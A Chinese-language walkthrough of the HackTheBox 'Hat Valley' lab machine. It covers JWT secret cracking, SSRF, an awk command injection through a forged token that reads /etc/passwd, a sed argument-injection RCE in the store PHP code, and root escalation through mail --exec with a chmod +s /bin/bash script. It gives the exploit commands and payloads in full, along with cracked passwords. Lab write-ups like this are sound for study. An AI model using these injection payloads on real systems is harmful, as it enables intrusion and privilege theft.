信息收集
nmap扫描,发现22号端口和80号端口打开,80号端口上运行着http服务器。访问ip后URL变为hat-valley.htb
修改/etc/hosts文件,添加10.10.11.185 hat-valley.htb,然后就能正常访问网站。可以看到是一家卖帽子的公司的网站,页面上有提示说即将开网店
接着用dirsearch扫描一下目录,发现js目录中可能有源码
进一步扫描js目录,发现app.js和custom.js
访问hat-valley.htb/js/app.js,发现目录/hr
除此之外发现一些api路由,包括/api/all-leave, /api/submit-leave, /api/login, /api/staff-details, and /api/store-status.
接着用wfuzz扫描一下子域名,发现store.hat-valley.htb,添加到/etc/hosts
访问store.hat-valley.htb,发现需要凭证
直接访问/hr/目录,发现有cookie: token=guest,修改guest为admin,成功登录dashboard
但是staff-details是空的,而且Online Store Status的状态是Down,查看一下网络请求,发现staff-details和store-status
访问api/staff-details,报错jwt-malformed
删除Cookie: token=guest后再次访问得到所有的员工信息:
爆破hash
用Crack station破解hash,成功爆破出其中一个hash值
登录
利用爆破得到密码chris123和搜集信息得到的用户名christopher.jones登录/hr
得到jwt token,尝试爆破用于JWT生成的secret
爆破JWT Secret
先用官方脚本将jwt转成john所能利用的格式
$ python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcxNTEzNjIyfQ.fdE8gDRe7UL30RNpzKWIBtsY_NUHUMdVTdzBkus1Jvo > jwt_hash.john
$ john -w=/usr/share/wordlists/rockyou.txt jwt_hash.john
转化脚本jwt2john.py如下:
#!/usr/bin/env python3
import sys
from binascii import hexlify
import base64
def base64url_decode(base64_str):
size = len(base64_str) % 4
if size == 2:
base64_str += b'=='
elif size == 3:
base64_str += b'='
elif size != 0:
raise ValueError('Invalid base64 string')
return base64.urlsafe_b64decode(base64_str)
def jwt2john(jwt):
"""
Convert signature from base64 to hex, and separate it from the data by a #
so that John can parse it.
"""
jwt_bytes = jwt.encode('ascii')
parts = jwt_bytes.split(b'.')
data = parts[0] + b'.' + parts[1]
signature = hexlify(base64url_decode(parts[2]))
return (data + b'#' + signature).decode('ascii')
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: %s JWT" % sys.argv[0])
else:
john = jwt2john(sys.argv[1])
print(john)
爆破得到jwt的密钥:123beany123
服务端请求伪造(SSRF)
登录发现的利用点还有一个:store-status,注意到其参数为url
尝试使用url="http://127.0.0.1:80"作为/api/store-status的参数,发现重定向到hat-valley.htb,因此可以确信是一个SSRF利用点
利用这个洞遍历一下端口,发现开了三个端口80、3002、8080
依次访问3002和8080,发现3002端口提供了API接口文档以及对应的源码
本地文件包含(LFI)
审计相关API的源码,发现一个本地文件包含漏洞:
app.get('/api/all-leave', (req, res) => {
const user_token = req.cookies.token
var authFailed = false
var user = null
if(user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if(!decodedToken.username) {
authFailed = true
}
else {
user = decodedToken.username
}
}
if(authFailed) {
return res.status(401).json({Error: "Invalid Token"})
}
if(!user) {
return res.status(500).send("Invalid user")
}
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
const badInUser = bad.some(char => user.includes(char));
if(badInUser) {
return res.status(500).send("Bad character detected.")
}
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
if(stdout) {
return res.status(200).send(new Buffer(stdout, 'binary'));
}
if (error) {
return res.status(500).send("Failed to retrieve leave requests")
}
if (stderr) {
return res.status(500).send("Failed to retrieve leave requests")
}
})
})
awk后拼接变量user,user变量来自jwt token中的username,而我们已经得到了jwt生成token所使用的secret,因此我们可以伪造任何一个user的值
user = decodedToken.username
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}
假如传进去的token在解码后赋予user变量的值为/’ /etc/passwd ',那么这个命令会被拼接成:
exec("awk '//' /etc/passwd '/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000} <----- this is how query looks like when executing
在本地执行这个命令,发现输出了/etc/passwd的内容
使用https://jwt.io/来进行jwt token的伪造,填入爆破得到的secret,修改username为/’ /etc/passwd ',得到生成的token:
使用得到的token访问http://hat-valley.htb/api/all-leave
curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NjcwMTcxNTd9.HKWzL6o9CamyDt0S-bxQyrKYEqQha_tDr1SfgSLcX7s" | grep -i /bin/bash
得到两个用户bean和christine
因为网站首页看到bean是管理员用户,因此查看bean的bashrc文件
curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vLmJhc2hyYyAnIiwiaWF0IjoxNjY3MDE3MTU3fQ._Rmh6a1R5H3g8JBg0hZg19LibMyWC93ArEm6wsepCsY"
注意到其中的backup_home.sh,尝试获取这个文件内容,发现文件/home/bean/Documents/backup/bean_backup_final.tar.gz
保存/home/bean/Documents/backup/bean_backup_final.tar.gz,并且用binwalk提取文件:
binwalk -eM bean_backup_final
得到用户bean的home目录
在文件.config/xpad/content-DS1ZS1找到用户bean的password:014mrbeanrules!#P
ssh登录bean,得到user.txt中的flag:
提权
之前扫描到的子域名store.hat-valley.htb需要凭证登录,观察到网站使用了nginx,现在通过bean用户在目录中找到/etc/nginx/conf.d/.htpasswd,得到用户名为admin,又由于用户中只有bean是admin权限,因此尝试使用bean的密码登录
成功登录
找到store源码目录
查看README.MD:
RCE
查看cart_actions.php
<?php
$STORE_HOME = "/var/www/store/";
//check for valid hat valley store item
function checkValidItem($filename) {
if(file_exists($filename)) {
$first_line = file($filename)[0];
if(strpos($first_line, "***Hat Valley") !== FALSE) {
return true;
}
}
return false;
}
//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
echo "Item added successfully!";
}
else {
echo "Invalid item";
}
exit;
}
//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
}
else {
echo "Invalid item";
}
exit;
}
//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
$html = "";
$dir = scandir("{$STORE_HOME}cart");
$files = array_slice($dir, 2);
foreach($files as $file) {
$user_id = substr($file, -18);
if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
$product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
$details = array();
while (($line = fgets($product_file)) !== false) {
if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
array_push($details, str_replace(array("\r", "\n"), '', $line));
}
}
foreach($details as $cart_item) {
$cart_items = explode("&", $cart_item);
for($x = 0; $x < count($cart_items); $x++) {
$cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
}
$html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} οnclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
}
}
}
echo $html;
exit;
}
?>
审计源码发现sed命令用来删除cart文件数据,这个命令可用于RCE。为了能够删除cart里面的数据,先添加一个商品到购物车:
查看文件夹/var/www/store/cart发现多了一个文件
尝试编辑文件发现不行,删除文件并创建同名的,修改内容:
在tmp目录下创建shell.sh,同时赋予执行权限
接着在购物车中删除商品,用burp拦截报文,修改item为1’±e+“1e+/tmp/shell.sh”+/tmp/shell.sh+’
成功连接shell,权限为www-data
用pspy查看进程,发现inotifywait在监控leave_requests.csv,随便往leave_requests.csv中写入数据,发现2022/10/29 17:38:06 CMD: UID=0 PID=4698 | mail -s Leave Request: dedsec christine,因此可以借助mali程序来提权,创建一个setuid脚本
#!/bin/bash
chmod +s /bin/bash
然后往leave_requests.csv写入’" --exec=“!/tmp/priv.sh”',成功获取root权限